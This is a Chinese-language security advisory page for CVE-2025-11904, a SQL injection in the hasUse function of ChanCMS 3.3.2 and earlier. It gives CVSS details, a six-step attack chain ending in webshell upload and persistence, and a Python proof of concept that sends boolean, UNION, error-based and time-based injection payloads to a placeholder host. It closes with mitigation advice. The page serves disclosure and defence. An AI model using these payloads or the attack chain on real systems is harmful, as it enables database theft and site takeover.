IPBUF安全漏洞报告
English
CVE-2025-11904 CVSS 6.3 中危

CVE-2025-11904:ChanCMS 3.3.2版本SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11904
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yanyutao0402 ChanCMS

相关标签

SQL注入ChanCMSyanyutao0402CMS安全Web应用漏洞CVE-2025-11904中危漏洞数据库安全远程利用低权限利用

漏洞概述

CVE-2025-11904是ChanCMS内容管理系统(由yanyutao0402开发)3.3.2及之前版本中存在的一个SQL注入安全漏洞。该漏洞位于系统文件/cms/model/hasUse中的hasUse函数中,攻击者可以通过操控ID参数实施SQL注入攻击。该漏洞可被远程利用,攻击者只需具备低权限即可发起攻击,无需用户交互。漏洞的成功利用可能导致数据库信息泄露、数据篡改以及部分服务可用性受损。根据CVSS 3.1评分体系,该漏洞获得6.3分,属于中危级别。值得注意的是,该漏洞的利用方式已被公开披露,且厂商在收到漏洞报告后未做出任何回应,进一步增加了系统面临的安全风险。受影响的用户应及时采取防护措施,避免遭受潜在攻击。ChanCMS作为一款内容管理系统,通常用于搭建网站和管理内容,一旦被攻破,可能导致网站数据泄露、页面被篡改等严重后果,对网站运营和用户数据安全构成威胁。

技术细节

该漏洞的核心问题在于ChanCMS 3.3.2及以下版本的/cms/model/hasUse文件中的hasUse函数未对用户输入的ID参数进行充分的过滤和参数化处理。攻击者可以通过构造恶意的SQL语句片段,将其注入到ID参数中,从而绕过正常的查询逻辑。当应用程序将未经处理的ID参数拼接到SQL查询语句中执行时,数据库引擎会将攻击者注入的恶意SQL代码作为合法查询的一部分执行。具体利用方式如下:攻击者首先定位到目标系统的hasUse接口,通过HTTP请求(如GET或POST)传递精心构造的ID参数,例如在正常ID值后追加SQL注入payload(如UNION SELECT、OR 1=1等)。由于后端直接将参数拼接到SQL语句中执行,攻击者可以执行非预期的数据库操作,包括但不限于:读取敏感数据(如管理员密码哈希、用户个人信息)、修改或删除数据库内容、获取数据库结构信息,甚至在某些数据库配置下执行系统命令。该漏洞的攻击复杂度低(AC:L),仅需低权限(PR:L)即可利用,且无需用户交互(UI:N),使得自动化扫描和批量攻击成为可能。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别目标系统是否运行ChanCMS 3.3.2或更低版本,并定位/cms/model/hasUse接口的访问路径。
STEP 2
步骤2:漏洞探测
攻击者向hasUse接口发送带有正常ID参数的请求,观察正常响应行为,然后通过注入测试payload(如单引号、AND条件等)检测是否存在SQL注入漏洞。
STEP 3
步骤3:注入Payload构造
根据数据库类型(MySQL、SQL Server等),构造相应的SQL注入payload,包括UNION联合查询、布尔盲注、时间盲注或报错注入等不同技术。
STEP 4
步骤4:数据提取
利用成功的SQL注入漏洞,从数据库中提取敏感信息,如管理员账号密码哈希、用户数据、网站配置信息等。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭据登录系统后台,上传Webshell或修改系统配置,实现对目标系统的持久控制。
STEP 6
步骤6:数据破坏或窃取
攻击者可删除或篡改数据库内容、窃取用户隐私数据、植入恶意内容或利用被攻陷的服务器作为跳板进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11904 - ChanCMS hasUse SQL Injection PoC # Vulnerability: SQL Injection via ID parameter in /cms/model/hasUse # Affected: ChanCMS <= 3.3.2 # CVSS: 6.3 (Medium) import requests TARGET_URL = "http://target.com" INJECTION_PATH = "/cms/model/hasUse" # Step 1: Normal request to verify endpoint availability def check_endpoint(session, base_url): """Check if the vulnerable endpoint exists""" url = f"{base_url}{INJECTION_PATH}" try: resp = session.get(url, timeout=10) return resp.status_code except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Basic SQL injection test def test_sqli(session, base_url, id_value): """Test SQL injection with crafted ID parameter""" url = f"{base_url}{INJECTION_PATH}" # Inject payload into ID parameter params = {"id": id_value} headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: resp = session.get(url, params=params, headers=headers, timeout=10) return resp.text except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None # Step 3: Exploit payloads PAYLOADS = [ # Boolean-based blind injection "1' AND '1'='1", "1' AND '1'='2", # UNION-based injection "1' UNION SELECT 1,2,3-- -", "1' UNION SELECT user(),database(),version()-- -", # Error-based injection "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", "1'; WAITFOR DELAY '0:0:5'-- -", ] def main(): session = requests.Session() # Verify endpoint status = check_endpoint(session, TARGET_URL) print(f"[*] Endpoint status: {status}") # Test with normal value normal_resp = test_sqli(session, TARGET_URL, "1") print(f"[*] Normal response length: {len(normal_resp) if normal_resp else 'N/A'}") # Test injection payloads for i, payload in enumerate(PAYLOADS, 1): print(f"\n[*] Testing payload {i}: {payload}") resp = test_sqli(session, TARGET_URL, payload) if resp: print(f"[+] Response length: {len(resp)}") # Check for differences indicating successful injection if normal_resp and len(resp) != len(normal_resp): print(f"[!] Possible injection detected - response length differs") if __name__ == "__main__": main()

影响范围

yanyutao0402 ChanCMS <= 3.3.2

防御指南

临时缓解措施
鉴于厂商尚未发布官方补丁,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)或反向代理服务器配置规则,拦截针对/cms/model/hasUse接口的异常请求,特别是包含SQL关键字(如UNION、SELECT、AND、OR、SLEEP等)的请求;2)在Web服务器层面限制对/cms/model/hasUse文件的直接访问权限;3)对ID参数实施严格的输入验证,仅允许数字类型输入,拒绝包含特殊字符的请求;4)监控数据库日志,关注异常的长查询或错误查询;5)考虑临时禁用hasUse相关功能直至官方修复发布;6)定期备份数据库,以便在遭受攻击后能够快速恢复数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表